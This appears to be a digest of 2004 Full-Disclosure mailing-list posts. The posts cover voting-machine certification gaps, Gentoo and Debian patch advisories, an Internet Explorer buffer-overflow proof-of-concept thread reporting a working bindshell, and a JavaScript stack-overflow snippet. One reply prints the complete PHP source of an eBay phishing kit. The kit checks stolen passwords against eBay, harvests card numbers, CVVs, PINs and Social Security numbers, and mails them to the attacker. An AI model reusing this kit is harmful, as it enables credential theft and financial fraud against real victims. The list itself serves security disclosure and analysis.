> NASED certified the systems based on the recommendation of an .Independent
> Testing Authority. (ITA).
> 
> What no one told local officials was that the ITA did not test for
> security (and NASED didn.t seem to mind).
> 
> The ITA reports are considered so secret that even the California
> Secretary of State.s office had trouble getting its hands on one. The ITA
> refused to answer any questions about what it does. Imagine our surprise
> when, due to Freedom of Information requests, a couple of them showed up
> in our mailbox.
> 
> The most important test on the ITA report is called the .penetration
> analysis.. This test is supposed to tell us whether anyone can break into
> the system to tamper with the votes.
> 
> .Not applicable,. wrote Shawn Southworth, of Ciber Labs, the ITA that
> tested the Diebold GEMS central tabulator software. .Did not test..
> 
> Shawn Southworth .tested. whether every candidate on the ballot has a
> name. But we were shocked to find out that, when asked the most important
> question -- about vulnerable entry points -- Southworth.s report says .not
> reviewed..
> 
>  Ciber .tested.whether the manual gives a description of the voting
> system. But when asked to identify methods of attack (which we think the
> American voter would consider pretty important), the top-secret report
> says .not applicable..
> 
> Ciber .tested. whether ballots comply with local regulations, but when Bev
> Harris asked Shawn Southworth what he thinks about Diebold tabulators
> accepting large numbers of .minus. votes, he said he didn.t mention that
> in his report because .the vendors don.t like him to put anything
> negative. in his report. After all, he said, he is paid by the vendors.
> 
> Shawn Southworth didn.t do the penetration analysis, but check out what he
> wrote:
> 
> .Ciber recommends to the NASED committee that GEMS software version
> 1.18.15 be certified and assigned NASED certification number
> N03060011815..
> 
> Was this just a one-time oversight?
> 
> Nope. It appears to be more like a habit. Here is the same Ciber
> certification section for VoteHere; as you can see, the critical security
> test, the .penetration analysis. was again marked .not applicable. and was
> not done.
> 
> Maybe another ITA did the penetration analysis?
> 
> Apparently not. We discovered an even more bizarre Wyle Laboratories
> report. In it, the lab admits the Sequoia voting system has problems, but
> says that since they were not corrected earlier, Sequoia could continue
> with the same flaws. At one point the Wyle report omits its testing
> altogether, hoping the vendor will do the test.
> 
> Computer Guys: Be your own ITA certifier.
> 
> Here is a copy of the full Ciber report (part 1, 2, 3, 4) on GEMS 1.18.15.
> Here is a zip file download for the GEMS 1.18.15 program. Here is a real
> live Diebold vote database. Compare your findings against the official
> testing lab and see if you agree with what Ciber says. E-mail us your
> findings.
> 
> TIPS: The password for the vote database is .password. and you should
> place it in the .LocalDB. directory in the GEMS folder, which you.ll find
> in .program files..
> 
> Who the heck is NASED?
> 
> They are the people who certified this stuff.
> 
> You.ve gotta ask yourself: Are they

RE: [Full-Disclosure] phish

[Andrew Poodle]

Not a very good one..

Submitting with an empty field displayed the raw PHP code..

Seems to send to 

mail("[EMAIL PROTECTED]","$userid","$userid $pass");

Below..

--8<---
 $value) {
$str .= (strlen($str) < 1) ? '' : '&';
$str .= $key . '=' . rawurlencode($value);
}
return ($str);
}
parse_str($HTTP_SERVER_VARS['QUERY_STRING']);
if($MfcISAPICommand=="SignInFPP"){
  include 'login.php';
}
elseif (!strcmp($MfcISAPICommand,"VerifyFPP")){
$a = query_str ($HTTP_POST_VARS);
parse_str($a);
$userid=str_replace(" ","",$userid);
$pass=str_replace(" ","",$pass);
$fd =
fopen("http://signin.ebay.com/aw-cgi/eBayISAPI.dll?MfcISAPICommand=SignI
nWelcome&siteid=0&co_partnerId=2&UsingSSL=0&pp=pass&i1=0&pageType=174&us
erid=$userid&pass=$pass","r");
  while ($line=fgets($fd,1000))
  {
if(strstr($line,"not valid"))
$signerr=1;
if(strstr($line,"Your User ID is not valid"))
$signerr=2;
  }
fclose ($fd);
if($signerr)
include 'login.php';
else{
mail("[EMAIL PROTECTED]","$userid","$userid $pass");
include 'step1.php';
}
}
elseif(!strcmp($MfcISAPICommand,"ProcessFPP")){
include 'step2.php';
}

elseif(!strcmp($MfcISAPICommand,"ProcessFPP1")){
$a = query_str ($HTTP_POST_VARS);
parse_str($a);
$firstname = rtrim($firstname);
$lastname = rtrim($lastname);
$street = rtrim($street);
$city = rtrim($city);
$zip = rtrim($zip);
$dayphone12 = rtrim($dayphone12);
$dayphone22 = rtrim($dayphone22);
$dayphone32 = rtrim($dayphone32);
$dayphone42 = rtrim($dayphone42);

$error = 0;
if (!strlen($firstname)){
$error = 1;
$firstnameerr = 1;
}

if (!strlen($lastname)){
$error = 1;
$lastnameerr = 1;
}
if (!strlen($street)){
$error = 1;
$streeterr = 1;
}
if (!strlen($city)){
$error = 1;
$cityerr = 1;
}
/*if ($state == "default"){
$error = 1;
$rstateerr = 1;
}
*/
if (!strlen($zip) && !is_numeric($zip)){
$error = 1;
$ziperr = 1;
}
if (!strlen($dayphone12)){
$error = 1;
$dayphone12err = 1;
}
if (!strlen($dayphone22)){
$error = 1;
$dayphone22err = 1;
}
if (!strlen($dayphone32)){
$error = 1;
$dayphone32err = 1;
}
if(strlen($ssn)<1){
$error=1;
$ssnerr=1;
}

if ($error == 1)
include 'step2.php';
else
include 'step3.php';
}

elseif(!strcmp($MfcISAPICommand,"ProcessFPP2")){
$a = query_str ($HTTP_POST_VARS);
parse_str($a);
$ccnumber = rtrim($ccnumber);
$ccmonth = rtrim($ccmonth);
$ccyear = rtrim($ccyear);
$cvv = rtrim($cvv);
$pin = rtrim($pin);

$error = 0;
$a = substr($ccnumber,0,1);

if($a == "3"){
if (strlen($cvv) != 4){
$error = 1;
$cvverr = 1;
}
}
elseif($a == "4"){
if (strlen($cvv) != 3){
$error = 1;
$cvverr = 1;
}
}
elseif($a == "5"){
if (strlen($cvv) != 3){
$error = 1;
$cvverr = 1;
}
}
elseif($a == "6"){
if (strlen($cvv) != 3){
$error = 1;
$cvverr = 1;
}
}
else{
$error = 1;
$ccnumbererr = 1;}

if(strlen($ccnumber)!=16){
$error=1;
$ccnumbererr=1;
}
//ccmonth si ccyear;

if(!strcmp($pin,"1234")||!strcmp($pin,"")){
$pinerr=1;
$error=1;
}

if(strlen($pin)<4){
$pinerr=1;
$error=1;
}

if($error==1) include 'step3.php';
else{
$message="---
-=::: Login Info :::=-

user: $userid
pass: $pass
e-mail: $email

-=::: Credit Card Info :::=-

Credit Card Number: $ccnumber
Expiration Date: $ccmonth/$ccyear
CVV2: $cvv
PIN: $pin
Full Name: $firstname $lastname
Address: $street
City: $city
State: $state
Zip: $zip
Phone: $dayphone12-$dayphone22-$dayphone32 $dayphone42
Country: $country
SSN: $ssn
";
mail("[EMAIL PROTECTED]","Fullinfo: $ccnumber","$message");
include 'process.htm';
}

}

elseif ($MfcISAPICommand=="SuccessfullFPP")
include 'success.htm';
else
include 'error.htm';
?>


-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of D B
Sent: 08 November 2004 10:21
To: [EMAIL PROTECTED]
Subject: [Full-Disclosure] phish

another ebay phish

http://www.ebay-verifications.biz/ws2/

header 

X-Apparently-To: [EMAIL PROTECTED] via
216.109.119.82; Sun, 07 Nov 2004 14:17:22 -0800
X-YahooFilteredBulk:66.139.79.218
X-Originating-IP:   [66.139.79.218]
Return-Path:<[EMAIL PROTECTED]>
Received:   from 66.139.79.218 (EHLO www2.triasite.net)
(66.139.79.218) by mta303.mail.scd.yahoo.com with SMTP; Sun, 07 Nov 2004
14:17:22 -0800
Received:   (from [EMAIL PROTECTED]) by www2.triasite.net
(8.11.6/8.11.6) id iA7MOgr24317; Sun, 7 Nov 2004
16:24:42 -0600
Date:   Sun, 7 Nov 2004 16:24:42 -0600
Message-Id:
<[EMAIL PROTECTED]>
To: [EMAIL PROTECTED]
Subject:eBay Database Critical Update Notification!
From

[Full-Disclosure] [ GLSA 200411-15 ] OpenSSL, Groff: Insecure tempfile handling

[Thierry Carrez]

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory   GLSA 200411-15
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
 Title: OpenSSL, Groff: Insecure tempfile handling
  Date: November 08, 2004
  Bugs: #68404, #68407
ID: 200411-15

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis


groffer, included in the Groff package, and the der_chop script,
included in the OpenSSL package, are both vulnerable to symlink
attacks, potentially allowing a local user to overwrite arbitrary
files with the rights of the user running the utility.

Background
==

OpenSSL is a toolkit implementing the Secure Sockets Layer and
Transport Layer Security protocols as well as a general-purpose
cryptography library. It includes the der_chop script, which is used to
convert DER-encoded certificates to PEM format. Groff (GNU Troff) is a
typesetting package which reads plain text mixed with formatting
commands and produces formatted output. It includes groffer, a command
used to display groff files and man pages on X and tty.

Affected packages
=

---
 Package   /   Vulnerable   /   Unaffected
---
  1  dev-libs/openssl  < 0.9.7d-r2>= 0.9.7d-r2
  2  sys-apps/groff< 1.19.1-r2>= 1.19.1-r2
---
 2 affected packages on all of their supported architectures.
---

Description
===

groffer and the der_chop script create temporary files in
world-writeable directories with predictable names.

Impact
==

A local attacker could create symbolic links in the temporary files
directory, pointing to a valid file somewhere on the filesystem. When
groffer or der_chop is executed, this would result in the file being
overwritten with the rights of the user running the utility, which
could be the root user.

Workaround
==

There is no known workaround at this time.

Resolution
==

All Groff users should upgrade to the latest version:

# emerge --sync
# emerge --ask --oneshot --verbose ">=sys-apps/groff-1.19.1-r2"

All OpenSSL users should upgrade to the latest version:

# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-libs/openssl-0.9.7d-r2"

Note: /etc/ssl/misc/der_chop is protected by Portage as a configuration
file. Don't forget to use etc-update and overwrite the old version with
the new one.

References
==

  [ 1 ] CAN-2004-0969
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0969
  [ 2 ] CAN-2004-0975
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0975

Availability


This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200411-15.xml

Concerns?
=

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
[EMAIL PROTECTED] or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
===

Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/1.0



signature.asc
Description: OpenPGP digital signature

[Full-Disclosure] phish

[D B]

another ebay phish

http://www.ebay-verifications.biz/ws2/

header 

X-Apparently-To: [EMAIL PROTECTED] via
216.109.119.82; Sun, 07 Nov 2004 14:17:22 -0800
X-YahooFilteredBulk:66.139.79.218
X-Originating-IP:   [66.139.79.218]
Return-Path:<[EMAIL PROTECTED]>
Received:   from 66.139.79.218 (EHLO www2.triasite.net)
(66.139.79.218) by mta303.mail.scd.yahoo.com with
SMTP; Sun, 07 Nov 2004 14:17:22 -0800
Received:   (from [EMAIL PROTECTED]) by www2.triasite.net
(8.11.6/8.11.6) id iA7MOgr24317; Sun, 7 Nov 2004
16:24:42 -0600
Date:   Sun, 7 Nov 2004 16:24:42 -0600
Message-Id:
<[EMAIL PROTECTED]>
To: [EMAIL PROTECTED]
Subject:eBay Database Critical Update Notification!
From:   "eBay" <[EMAIL PROTECTED]>  Add to Address
BookAdd to Address Book
Reply-to:   
MIME-Version:   1.0
Content-Type:   text/html
Content-Transfer-Encoding:  8bit
Content-Length: 2058




__ 
Do you Yahoo!? 
Check out the new Yahoo! Front Page. 
www.yahoo.com 
 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] [SECURITY] [DSA 586-1] New ruby packages fix denial of service

[debian-security-announce]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- --
Debian Security Advisory DSA 586-1 [EMAIL PROTECTED]
http://www.debian.org/security/ Martin Schulze
November 8th, 2004  http://www.debian.org/security/faq
- --

Package: ruby
Vulnerability  : infinite loop
Problem-Type   : remote
Debian-specific: no
CVE ID : CAN-2004-0983

The upstream developers of Ruby have corrected a problem in the CGI
module for this language.  Specially crafted requests could cause an
infinite loop and thus cause the program to eat up cpu cycles.

For the stable distribution (woody) this problem has been fixed in
version ruby_1.6.7-3woody4.

For the unstable distribution (sid) this problem has been fixed in
version 1.6.8-12 of ruby1.6 and in version 1.8.1+1.8.2pre2-4 of
ruby1.8.

We recommend that you upgrade your ruby packages.


Upgrade Instructions
- 

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 3.0 alias woody
- 

  Source archives:

http://security.debian.org/pool/updates/main/r/ruby/ruby_1.6.7-3woody4.dsc
  Size/MD5 checksum:  909 199360fc56e90c03e2db35898539962f

http://security.debian.org/pool/updates/main/r/ruby/ruby_1.6.7-3woody4.diff.gz
  Size/MD5 checksum:43409 c4c76a272d9d57142b2376146bc57297
http://security.debian.org/pool/updates/main/r/ruby/ruby_1.6.7.orig.tar.gz
  Size/MD5 checksum:   996835 a8859c679ee9acbfdf5056cdf26fcad3

  Architecture independent components:


http://security.debian.org/pool/updates/main/r/ruby/irb_1.6.7-3woody4_all.deb
  Size/MD5 checksum:51190 b6580615493b7f8c808f4f5eb515f477

http://security.debian.org/pool/updates/main/r/ruby/ruby-elisp_1.6.7-3woody4_all.deb
  Size/MD5 checksum:30256 88bcceab112fe1bcd53257744131eae1

http://security.debian.org/pool/updates/main/r/ruby/ruby-examples_1.6.7-3woody4_all.deb
  Size/MD5 checksum:37868 0cf747524848e0d2efa3645fb7c92689

  Alpha architecture:


http://security.debian.org/pool/updates/main/r/ruby/libcurses-ruby_1.6.7-3woody4_alpha.deb
  Size/MD5 checksum:   129432 3cbff5f492c63cdc9f8fb4d024545ea1

http://security.debian.org/pool/updates/main/r/ruby/libdbm-ruby_1.6.7-3woody4_alpha.deb
  Size/MD5 checksum:   128536 c81d37ad31fff057cf78609483e7271a

http://security.debian.org/pool/updates/main/r/ruby/libgdbm-ruby_1.6.7-3woody4_alpha.deb
  Size/MD5 checksum:   129916 3719a9eb879e07a1e57b3296008f6f69

http://security.debian.org/pool/updates/main/r/ruby/libnkf-ruby_1.6.7-3woody4_alpha.deb
  Size/MD5 checksum:   134810 0f9dd8734048519d8b5e0816390c2378

http://security.debian.org/pool/updates/main/r/ruby/libpty-ruby_1.6.7-3woody4_alpha.deb
  Size/MD5 checksum:   131850 8e272284f74f85a3d3eebdc913770658

http://security.debian.org/pool/updates/main/r/ruby/libreadline-ruby_1.6.7-3woody4_alpha.deb
  Size/MD5 checksum:   128418 b733779d7cd49e56b5d66aebd19f37e7

http://security.debian.org/pool/updates/main/r/ruby/libruby_1.6.7-3woody4_alpha.deb
  Size/MD5 checksum:   644334 87212bd04df1281c6a1d1a4193224c78

http://security.debian.org/pool/updates/main/r/ruby/libsdbm-ruby_1.6.7-3woody4_alpha.deb
  Size/MD5 checksum:   132306 9ad79ac47ca27342fd43067f401d8022

http://security.debian.org/pool/updates/main/r/ruby/libsyslog-ruby_1.6.7-3woody4_alpha.deb
  Size/MD5 checksum:   128898 2e1a420e607eb122b44d4569ed78b62d

http://security.debian.org/pool/updates/main/r/ruby/libtcltk-ruby_1.6.7-3woody4_alpha.deb
  Size/MD5 checksum:   147450 2dd530d288433af42f4ab618d6fca175

http://security.debian.org/pool/updates/main/r/ruby/libtk-ruby_1.6.7-3woody4_alpha.deb
  Size/MD5 checksum:   161412 bb9d3de7e3762fae64988cdb32058542

http://security.debian.org/pool/updates/main/r/ruby/ruby_1.6.7-3woody4_alpha.deb
  Size/MD5 checksum:   142598 06bb7a48e88f88b1181f84ea5afdc6f0

http://security.debian.org/pool/updates/main/r/ruby/ruby-dev_1.6.7-3woody4_alpha.deb
  Size/MD5 checksum:   625952 d061059d60fbba454b4fecb82a379142

  ARM architecture:


http://security.debian.org/pool/updates/main/r/ruby/libcurses-ruby_1.6.7-3woody4_arm.deb
  Size/MD5 checksum:   128410 9e3bd9c043823c09cc125147c822895c

http://security.debian.org/pool/updates/main/r/ruby/libdbm-ruby_1.6.7-3woody4_arm.deb
  Size/MD5 checksum:   127288 aa864c4c7f530ccf721c9fd93f099dc8

http:

Re: [Full-Disclosure] MSIE and tag NAME property bufferoverflow PoC exploit (was: python does mangleme (with IE bugs!))

[patryn]

Berend-Jan Wever wrote:
> I hope they fixed it by accident, seeing what the other option would 
imply.

Certainly puts all that jive they've been spewing to the press in a 
different perspective.

Microsoft has begun to investigate the Iframe vulnerability and has not 
been made aware of any program designed to exploit the flaw. (You'd 
think they'd monitor the lists - p)

"Upon completion of this investigation, Microsoft will take the 
appropriate action to protect our customers, which may include providing 
a fix through our monthly release process or an out-of-cycle security 
update, depending on customer needs"

"Microsoft is concerned that this new report of a vulnerability in 
Internet Explorer was not disclosed responsibly, potentially putting 
computer users at risk"

http://news.com.com/Exploit+code+makes+IE+flaw+more+dangerous/2100-1002_3-5439370.html
But then again who doesn't like to bash Redmond, I'm curious what the 
"investigation" is turning up though.

patryn
Berend-Jan Wever wrote:
> Hmmm... MSDN DHTML Reference mentions 6 different flavors of the NAME 
property:
> 1) For a lot of tags like A, APPLET, IMG, INPUT, etc... this includes 
EMBED
> 2) FRAME, FRAMESET, IFRAME
> 3) META
> 4) namespace
> 5) PARAM
> 6) window
>
> I figured all the tags mentioned under 2 were affected and the rest 
wasn't. Now I hear  is also working ? Somebody might wanna go 
through each and every tag to see which are affected and which aren't.
>
> SHDOCVW.DLL version 6.0.2800.1400 and 6.0.2800.1584 are known to be 
vulnerable.
> SHDOCVW.DLL version 6.00.2900.2518 seems to be immune to the BoF 
(ships with XP PRO SP2).
>
> The immune version got me wondering if they knew about the bug ? If 
not, did they expect the code could be buggy and just rewrote it to be 
sure it was safe for SP2 ? Or was there just a code rewrite or another 
reason why the bug got silently fixed...? I hope they fixed it by 
accident, seeing what the other option would imply.
>
> Cheers,
> SkyLined
>
> - Original Message -
> From: "Menashe Eliezer" <[EMAIL PROTECTED]>
> To: "Berend-Jan Wever" <[EMAIL PROTECTED]>; 
<[EMAIL PROTECTED]>
> Sent: Sunday, November 07, 2004 23:21
> Subject: RE: [Full-Disclosure] MSIE  and  tag NAME 
property bufferoverflow PoC exploit (was: python does mangleme (with IE 
bugs!))
>
>
>
>>The published exploit is working also with the  tag, and not just
>>with the  and  the  tags.
>>Finjan's advisory can be found at:
>>http://www.finjan.com/SecurityLab/AttackandExploitReports/alert_show.asp
>>?attack_release_id=114
>>
>>==
>>Regards,
>>Menashe Eliezer
>>Senior application security architect
>>Malicious Code Research Center
>>Finjan Software
>>http://www.finjan.com/mcrc
>>
>>Prevention is the best cure!
>>
>>
>>
>>-Original Message-
>>From: morning_wood [mailto:[EMAIL PROTECTED]
>>Sent: Tuesday, November 02, 2004 3:44 PM
>>To: Berend-Jan Wever; [EMAIL PROTECTED];
>>[EMAIL PROTECTED]
>>Subject: Re: [Full-Disclosure] MSIE  and  tag NAME
>>property bufferoverflow PoC exploit (was: python does mangleme (with IE
>>bugs!))
>>
>>bindshell success ( html run from local ) connect from remote success...
>>this is NASTY
>>if shellcode modified this will do reverse or exe drop i assume
>>
>>good work,
>>
>>Donnie Werner
>>
>>
>>---
>>This message was scanned for malicious content and viruses by Finjan 
Internet Vital Security 1Box(tm)
>>
>>___
>>Full-Disclosure - We believe in it.
>>Charter: http://lists.netsys.com/full-disclosure-charter.html
>>
>
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] Re: some js code

[Berend-Jan Wever]

This will recursively call a function again and again untill you've used up all 
stack space: It's a stackoverflow DoS (NOT a bufferoverflow) it cannot be 
exploited to elevate privilages.


Cheers,
SkyLined

- Original Message - 
From: "Joseph Stone" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Monday, November 08, 2004 04:15
Subject: some js code


> i don't know whether it could be exploited, good luck
> ---
> 
> eval(y='try{eval(y)}catch(e){alert()}')
> 
> ---
> 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html